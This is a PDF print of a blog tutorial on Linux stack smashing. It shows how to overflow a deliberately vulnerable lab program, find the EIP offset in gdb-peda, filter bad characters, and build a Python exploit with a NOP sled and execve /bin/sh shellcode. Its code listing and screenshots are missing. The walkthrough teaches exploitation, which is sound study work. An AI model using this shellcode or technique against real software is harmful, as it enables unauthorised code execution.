Buffer Overflow - Part 1. Linux Stack Smashing - Cocomelonc
Buffer Overflow - Part 1. Linux Stack Smashing - Cocomelonc
buffer overflow
A stack buffer overflow occurs when a program writes more data to the stack than has been
allocated to the buffer. This leads to overwriting of possibly important redundant data in the
stack and causes an abnormal termination or execution by arbitrary overwriting of the
instruction pointer eip and, therefore, allows the execution of the program flow to be
redirected.
1 of 17 7/7/25, 16:30
Buffer overflow - part 1. Linux stack smashing - cocomelonc https://cocomelonc.github.io/pwn/2021/10/19/buffer-overf...
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
It is not so difficult to see that the above program can be hacked by a buffer overflow.
This program is unsecure. Let’s analysze it. Starting from main() function. It calls the
overflow function. The overflow declare a variable that is 256 bytes wide. It copies the
string from user input (including the null character) to this variable.
Functions like read() , gets() , strcpy() do not check the length of the input strings relative
to the size of the destination buffer - exactly the condition we are looking to exploit.
2 of 17 7/7/25, 16:30
Buffer overflow - part 1. Linux stack smashing - cocomelonc https://cocomelonc.github.io/pwn/2021/10/19/buffer-overf...
The program requires manual input of the characters. First of all, we can try entry few
characters only for checking correctness. After that let’s try to entry a lot of characters for
crashing:
./vuln meowmeow
./vuln woofwoof
./vuln $(python -c 'print("A" * 400)')
gdb -q ./vuln
gdb-peda$ r $(python3 -c 'print("A" * 400)')
3 of 17 7/7/25, 16:30
Buffer overflow - part 1. Linux stack smashing - cocomelonc https://cocomelonc.github.io/pwn/2021/10/19/buffer-overf...
“A” in hex are 0x41 . As you can see due to supplying multiple “A”’s into the program buffer,
they overflowed the stack and ended up in the eip register. The memory buffer has been
filled and exceed. As we can see in the code above the buffer has a 256 bytes size. Now we
need to find the offset for overwriting the eip register.
4 of 17 7/7/25, 16:30
Buffer overflow - part 1. Linux stack smashing - cocomelonc https://cocomelonc.github.io/pwn/2021/10/19/buffer-overf...
There are various methods to calculate the offset from the beginning of the buffer to the eip .
There are the pattern_create.rb and pattern_offset.rb tools shipped with metasploit .
Also, pattern create is one of the PEDA utilities. They both work in the same way - creating a
pattern of a unique string of a given length.
Based on the eip value ( 0x41332541 ), it’s also possible to identify the correct offset to the
eip :
5 of 17 7/7/25, 16:30
Buffer overflow - part 1. Linux stack smashing - cocomelonc https://cocomelonc.github.io/pwn/2021/10/19/buffer-overf...
Let’s use this value for create new input (which will serve as the base for our future payload)
and run vulnerable binary with it:
gdb -q ./vuln
gdb-peda$ r $(python3 -c 'print("A" * 268 + "B" * 4)')
Perfect! The EIP was overwritten with BBBB ( 0x42424242 ), so we’ve gained control over
EIP .
6 of 17 7/7/25, 16:30
Buffer overflow - part 1. Linux stack smashing - cocomelonc https://cocomelonc.github.io/pwn/2021/10/19/buffer-overf...
The easiest way to determine which of the characters are bad for our shellcode is to run them
in it. We need list of all characters:
\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\
x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x
2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x4
2\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58
\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\
x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x
85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9
b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1
\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\
xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\x
de\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf
4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff`
gdb-peda$ b overflow
7 of 17 7/7/25, 16:30
Buffer overflow - part 1. Linux stack smashing - cocomelonc https://cocomelonc.github.io/pwn/2021/10/19/buffer-overf...
After we have executed our payload with the bad characters and reached the breakpoint, we
can look at the stack:
8 of 17 7/7/25, 16:30
Buffer overflow - part 1. Linux stack smashing - cocomelonc https://cocomelonc.github.io/pwn/2021/10/19/buffer-overf...
We see where our \x41 ’s ends, and the bad characters begins. But if we look closely at it,
we will see that it starts with \x01 instead of \x00 . The ASCII character \x00 is left out
because it’s a null byte. Then, we note this character, remove it and adjust the number of
\x41 . Run again and following the dump to find the next bad character. This process must be
repeated until all characters that could interrupt the flow are removed. After that we will have
the list of chars that need to be excluded from our shellcode.
shellcode
Let’s now try to exploit the buffer overflow by adding the final part – the shellcode. Since this
program is compiled without NX or stack canaries, we can write our shellcode directly on the
stack and return to it.
I’ll be using my shellcode from one of my posts about linux shellcoding which is spawn shell to
my ubuntu machine:
9 of 17 7/7/25, 16:30
Buffer overflow - part 1. Linux stack smashing - cocomelonc https://cocomelonc.github.io/pwn/2021/10/19/buffer-overf...
#!/usr/bin/python
# exploit.py - final payload with spawn /bin/sh shellcode
shellcode =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0
\x0b\xcd\x80"
padding = "\x41" * (272-64-len(shellcode)-4)
nop = "\x90" * 64
eip = "\x42\x42\x42\x42"
print padding + nop + shellcode + eip
Often it can be useful to insert some no operation instruction (NOPs) before our shellcode
begins so that it can be executed cleanly. NOPs are instructions in memory that just says look
for the instructions next to me on the stack. Let us briefly summarize what we need for this:
10 of 17 7/7/25, 16:30
Buffer overflow - part 1. Linux stack smashing - cocomelonc https://cocomelonc.github.io/pwn/2021/10/19/buffer-overf...
Now we can try to find out how much space we have available to insert our shellcode. For that
we are going to head back into GDB and run the following command:
But firstly, let us have a look at the whole main function. Because if we execute it now, the
program will crash without giving us the possibility to follow what happens in the memory. So,
let’s go to set breakpoint at the overflow function firstly:
gdb-peda$ b overflow
11 of 17 7/7/25, 16:30
Buffer overflow - part 1. Linux stack smashing - cocomelonc https://cocomelonc.github.io/pwn/2021/10/19/buffer-overf...
And then we will look for the place where our NOPs start and end:
12 of 17 7/7/25, 16:30
Buffer overflow - part 1. Linux stack smashing - cocomelonc https://cocomelonc.github.io/pwn/2021/10/19/buffer-overf...
Here, we now have to choose an address to which we refer the eip and which reads and
executes one byte after the other starting at this address:
13 of 17 7/7/25, 16:30
Buffer overflow - part 1. Linux stack smashing - cocomelonc https://cocomelonc.github.io/pwn/2021/10/19/buffer-overf...
#!/usr/bin/python
# exploit.py - final payload with spawn /bin/sh shellcode
shellcode =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0
\x0b\xcd\x80"
padding = "\x41" * (272-64-len(shellcode)-4)
nop = "\x90" * 64
eip = "\xf4\xd3\xff\xff"
print padding + nop + shellcode + eip
14 of 17 7/7/25, 16:30
Buffer overflow - part 1. Linux stack smashing - cocomelonc https://cocomelonc.github.io/pwn/2021/10/19/buffer-overf...
As you can see, we put our shellcode which is 25 bytes in the middle of NOPs. And
everything work perfectly, we are spawn a shell.
gdb -q ./vuln
gdb-peda$ b overflow
gdb-peda$ r $(python -c 'print ("\x41" * (272 - 96 - 74 - 4) + "\x90" * 96 + "\x44" * 74
+ "\x42" * 4)')
gdb-peda$ x/1000xb $esp+500
15 of 17 7/7/25, 16:30
Buffer overflow - part 1. Linux stack smashing - cocomelonc https://cocomelonc.github.io/pwn/2021/10/19/buffer-overf...
Smashing The Stack For Fun And Profit by Aleph One (http://phrack.org/archives/issues/49/14.txt) -
16 of 17 7/7/25, 16:30
Buffer overflow - part 1. Linux stack smashing - cocomelonc https://cocomelonc.github.io/pwn/2021/10/19/buffer-overf...
classic. Smashing The Stack for Fun and Profit in PDF (https://inst.eecs.berkeley.edu/~cs161/fa08/
papers/stack_smashing.pdf)
owasp buffer overflow attack (https://owasp.org/www-community/attacks/Buffer_overflow_attack)
exploit-db tutorial (https://www.exploit-db.com/docs/english/28475-linux-stack-based-buffer-overflows.pdf)
buffer overflow attack, brilliant video (https://www.youtube.com/watch?v=1S0aBV-Waeo)
my post about linux shellcoding part 1
my post about linux shellcoding part 2
The Shellcoder’s Handbook (https://www.wiley.com/en-us/
The+Shellcoder%27s+Handbook%3A+Discovering+and+Exploiting+Security+Holes%2C+2nd+Edition-
p-9780470080238)
source code in Github (https://github.com/cocomelonc/meow/tree/master/2021-10-20-buffer-overflow-1)
Categories: pwn
17 of 17 7/7/25, 16:30